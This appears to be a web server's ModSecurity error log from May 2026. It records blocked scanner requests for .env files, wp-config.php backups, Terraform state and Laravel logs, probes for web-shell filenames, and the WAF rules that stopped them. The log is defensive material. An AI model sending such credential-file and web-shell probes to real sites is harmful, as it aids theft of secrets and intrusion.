[Sat May 23 17:04:08.967928 2026] [:error] [pid 30941:tid 30979] [client 88.151.33.224:44474] [client 88.151.33.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.env"] [unique_id "ahFtiHTIgjSDhiZmvlWl6gAAAEM"]
[Sat May 23 17:04:08.968645 2026] [:error] [pid 30941:tid 31000] [client 88.151.33.224:44670] [client 88.151.33.224] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".tfstate.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/terraform.tfstate.backup"] [unique_id "ahFtiHTIgjSDhiZmvlWl5wAAAFg"]
[Sat May 23 17:04:08.969771 2026] [:error] [pid 25876:tid 25893] [client 88.151.33.224:44416] [client 88.151.33.224] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/storage/logs/laravel.log"] [unique_id "ahFtiASpWUCKPezIBJCQYwAAAQ8"]
[Sat May 23 17:04:08.981644 2026] [:error] [pid 30941:tid 30994] [client 88.151.33.224:44726] [client 88.151.33.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php~"] [unique_id "ahFtiHTIgjSDhiZmvlWl6wAAAFI"]
[Sat May 23 17:04:08.998680 2026] [:error] [pid 30941:tid 30983] [client 88.151.33.224:44714] [client 88.151.33.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php.save"] [unique_id "ahFtiHTIgjSDhiZmvlWl8AAAAEc"]
[Sat May 23 17:04:08.999898 2026] [:error] [pid 31039:tid 31054] [client 88.151.33.224:44708] [client 88.151.33.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php.old"] [unique_id "ahFtiKIYDYo8WvA5zLIqTgAAAM0"]
[Sun May 24 06:19:56.849850 2026] [:error] [pid 58521:tid 58533] [client 43.130.150.80:39412] [client 43.130.150.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ahIoDGu03QVCX-cF2G_VaQAAAQo"]
[Sun May 24 08:46:08.367560 2026] [:error] [pid 50871:tid 50899] [client 103.99.37.229:52904] [client 103.99.37.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/www/.env"] [unique_id "ahJKUOcdOvA3ACH24letdQAAABI"]
[Sun May 24 08:46:08.368072 2026] [:error] [pid 50871:tid 50896] [client 103.99.37.229:52896] [client 103.99.37.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.env"] [unique_id "ahJKUOcdOvA3ACH24letdwAAAA8"]
[Sun May 24 08:46:08.368813 2026] [:error] [pid 50873:tid 50942] [client 103.99.37.229:52858] [client 103.99.37.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/storage/.env"] [unique_id "ahJKUOlYxsqwDcWZbhLhOwAAAII"]
[Sun May 24 08:46:08.370242 2026] [:error] [pid 50871:tid 50898] [client 103.99.37.229:52864] [client 103.99.37.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "ahJKUOcdOvA3ACH24leteAAAABE"]
[Sun May 24 08:46:08.370904 2026] [:error] [pid 50871:tid 50880] [client 103.99.37.229:52862] [client 103.99.37.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/admin/.env"] [unique_id "ahJKUOcdOvA3ACH24leteQAAAAA"]
[Sun May 24 08:46:08.394213 2026] [:error] [pid 50872:tid 50931] [client 103.99.37.229:52878] [client 103.99.37.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.env"] [unique_id "ahJKUEbX_GQ5p_34ISZqcgAAAFI"]
[Sun May 24 08:46:08.404298 2026] [:error] [pid 50872:tid 50928] [client 103.99.37.229:52894] [client 103.99.37.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/backend/.env"] [unique_id "ahJKUEbX_GQ5p_34ISZqcwAAAE8"]
[Sun May 24 08:46:08.449695 2026] [:error] [pid 50873:tid 50951] [client 103.99.37.229:52916] [client 103.99.37.229] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/public/.env"] [unique_id "ahJKUOlYxsqwDcWZbhLhPAAAAIs"]
[Sun May 24 12:48:53.014169 2026] [:error] [pid 49689:tid 49729] [client 20.214.178.21:9597] [client 20.214.178.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "ahKDNQaxiY3NxLUD97VFLQAAAIs"]
[Sun May 24 12:48:53.598036 2026] [:error] [pid 2639:tid 2647] [client 20.214.178.21:2548] [client 20.214.178.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "ahKDNUzQncQTd0Z0Oe8dFgAAAQY"]
[Sun May 24 12:48:54.178928 2026] [:error] [pid 49688:tid 49701] [client 20.214.178.21:2510] [client 20.214.178.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "ahKDNmYoQ9V6a_4pBsiFBQAAAEo"]
[Sun May 24 12:48:54.754309 2026] [:error] [pid 49744:tid 49767] [client 20.214.178.21:2496] [client 20.214.178.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "ahKDNjsE5kPdFpUbbHGYKAAAANU"]
[Sun May 24 17:27:19.350336 2026] [:error] [pid 23497:tid 23500] [client 43.173.1.69:41132] [client 43.173.1.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ahLEdyPlV47QcYwd2v_iYAAAAUA"]
[Mon May 25 07:09:22.108450 2026] [:error] [pid 9304:tid 9382] [client 104.28.214.122:38744] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/ms-themes.php"] [unique_id "ahOFIuVEV2qpMC_1UzSV-AAAAJU"]
[Mon May 25 07:09:25.846791 2026] [:error] [pid 9304:tid 9367] [client 104.28.214.122:20014] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "ahOFJeVEV2qpMC_1UzSWHwAAAIY"]
[Mon May 25 07:09:27.306800 2026] [:error] [pid 9303:tid 9340] [client 104.28.214.122:20206] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "ahOFJ33bQScbssitjPRECgAAAEY"]
[Mon May 25 07:09:27.761230 2026] [:error] [pid 9304:tid 9385] [client 104.28.214.122:20285] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "ahOFJ-VEV2qpMC_1UzSWRQAAAJg"]
[Mon May 25 07:09:28.209376 2026] [:error] [pid 9398:tid 9405] [client 104.28.214.122:20396] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "ahOFKOhIu7KstzsCua-3YwAAAMU"]
[Mon May 25 07:09:28.660004 2026] [:error] [pid 9303:tid 9335] [client 104.28.214.122:20471] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "ahOFKH3bQScbssitjPREHAAAAEE"]
[Mon May 25 07:09:29.105134 2026] [:error] [pid 9304:tid 9383] [client 104.28.214.122:20020] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "ahOFKeVEV2qpMC_1UzSWUgAAAJY"]
[Mon May 25 07:09:29.553522 2026] [:error] [pid 9303:tid 9343] [client 104.28.214.122:20103] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/blurbs.php"] [unique_id "ahOFKX3bQScbssitjPREIwAAAEk"]
[Mon May 25 07:09:30.005938 2026] [:error] [pid 9302:tid 9314] [client 104.28.214.122:20323] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "ahOFKi1RaFfTSnDQnqFbywAAAAc"]
[Mon May 25 07:09:30.457832 2026] [:error] [pid 50423:tid 50444] [client 104.28.214.122:20387] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "ahOFKqJWO7En4nKEQ3g-_QAAARM"]
[Mon May 25 07:09:30.906468 2026] [:error] [pid 9303:tid 9334] [client 104.28.214.122:19872] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/shelp.php"] [unique_id "ahOFKn3bQScbssitjPRELgAAAEA"]
[Mon May 25 07:09:38.379141 2026] [:error] [pid 9304:tid 9366] [client 104.28.246.122:55364] [client 104.28.246.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/cord.php"] [unique_id "ahOFMuVEV2qpMC_1UzSWvAAAAIU"]
[Mon May 25 07:09:38.835985 2026] [:error] [pid 9304:tid 9381] [client 104.28.246.122:55372] [client 104.28.246.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/dex.php"] [unique_id "ahOFMuVEV2qpMC_1UzSWwQAAAJQ"]
[Mon May 25 07:09:39.282000 2026] [:error] [pid 9303:tid 9357] [client 104.28.214.122:57581] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ahOFM33bQScbssitjPREVQAAAFc"]
[Mon May 25 07:09:39.727939 2026] [:error] [pid 9398:tid 9403] [client 104.28.214.122:51492] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "ahOFM-hIu7KstzsCua-3kAAAAMM"]
[Mon May 25 07:09:40.172982 2026] [:error] [pid 50423:tid 50427] [client 104.28.214.122:64989] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_mna.php"] [unique_id "ahOFNKJWO7En4nKEQ3g_MQAAAQI"]
[Tue May 26 01:50:55.280721 2026] [:error] [pid 62426:tid 62430] [client 170.106.147.63:43974] [client 170.106.147.63] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ahSL_0j3D3Mo8ANpTRBngwAAAAA"]
[Tue May 26 06:41:10.917451 2026] [:error] [pid 20025:tid 20080] [client 54.36.179.84:49350] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "ahTQBn7k8Vts-JPOkgWubAAAAE8"]
[Tue May 26 06:41:13.511821 2026] [:error] [pid 20125:tid 20150] [client 54.36.179.84:36926] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "ahTQCdk9jeWERFDLJc6PjAAAANc"]
[Tue May 26 06:41:16.129953 2026] [:error] [pid 20025:tid 20084] [client 54.36.179.84:36934] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "ahTQDH7k8Vts-JPOkgWucQAAAFM"]
[Tue May 26 06:41:18.667609 2026] [:error] [pid 20025:tid 20081] [client 54.36.179.84:37790] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "ahTQDn7k8Vts-JPOkgWucgAAAFA"]
[Tue May 26 06:41:21.196286 2026] [:error] [pid 55988:tid 56007] [client 54.36.179.84:37800] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "ahTQEf3kVIz2sql52sdvqwAAARA"]
[Tue May 26 06:41:23.680832 2026] [:error] [pid 20024:tid 20040] [client 54.36.179.84:37802] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "ahTQE1dk7QtxEB93NpcTlgAAAAI"]
[Tue May 26 06:41:26.313218 2026] [:error] [pid 20026:tid 20093] [client 54.36.179.84:37812] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "ahTQFjXIXIr-5BZ8nR7w1wAAAIE"]
[Tue May 26 06:41:28.758579 2026] [:error] [pid 20026:tid 20098] [client 54.36.179.84:35472] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "ahTQGDXIXIr-5BZ8nR7w2QAAAIY"]
[Tue May 26 06:41:31.165518 2026] [:error] [pid 55988:tid 56012] [client 54.36.179.84:35476] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "ahTQG_3kVIz2sql52sdvwQAAARU"]
[Tue May 26 06:41:33.575679 2026] [:error] [pid 55988:tid 56007] [client 54.36.179.84:35480] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ahTQHf3kVIz2sql52sdvyAAAARA"]
[Tue May 26 06:41:35.988855 2026] [:error] [pid 55988:tid 56000] [client 54.36.179.84:35488] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ahTQH_3kVIz2sql52sdvywAAAQk"]
[Tue May 26 06:41:38.409720 2026] [:error] [pid 55988:tid 56014] [client 54.36.179.84:46492] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ahTQIv3kVIz2sql52sdv0QAAARc"]
[Tue May 26 06:41:40.790077 2026] [:error] [pid 55988:tid 55996] [client 54.36.179.84:46494] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "ahTQJP3kVIz2sql52sdv2QAAAQU"]
[Tue May 26 06:41:43.326101 2026] [:error] [pid 20025:tid 20081] [client 54.36.179.84:46502] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ahTQJ37k8Vts-JPOkgWufAAAAFA"]
[Tue May 26 06:41:45.721410 2026] [:error] [pid 55988:tid 55991] [client 54.36.179.84:46506] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ahTQKf3kVIz2sql52sdv5QAAAQA"]
[Tue May 26 06:41:48.116975 2026] [:error] [pid 20026:tid 20097] [client 54.36.179.84:45194] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ahTQLDXIXIr-5BZ8nR7w8gAAAIU"]
[Tue May 26 06:41:50.532696 2026] [:error] [pid 55988:tid 56009] [client 54.36.179.84:45208] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ahTQLv3kVIz2sql52sdv7QAAARI"]
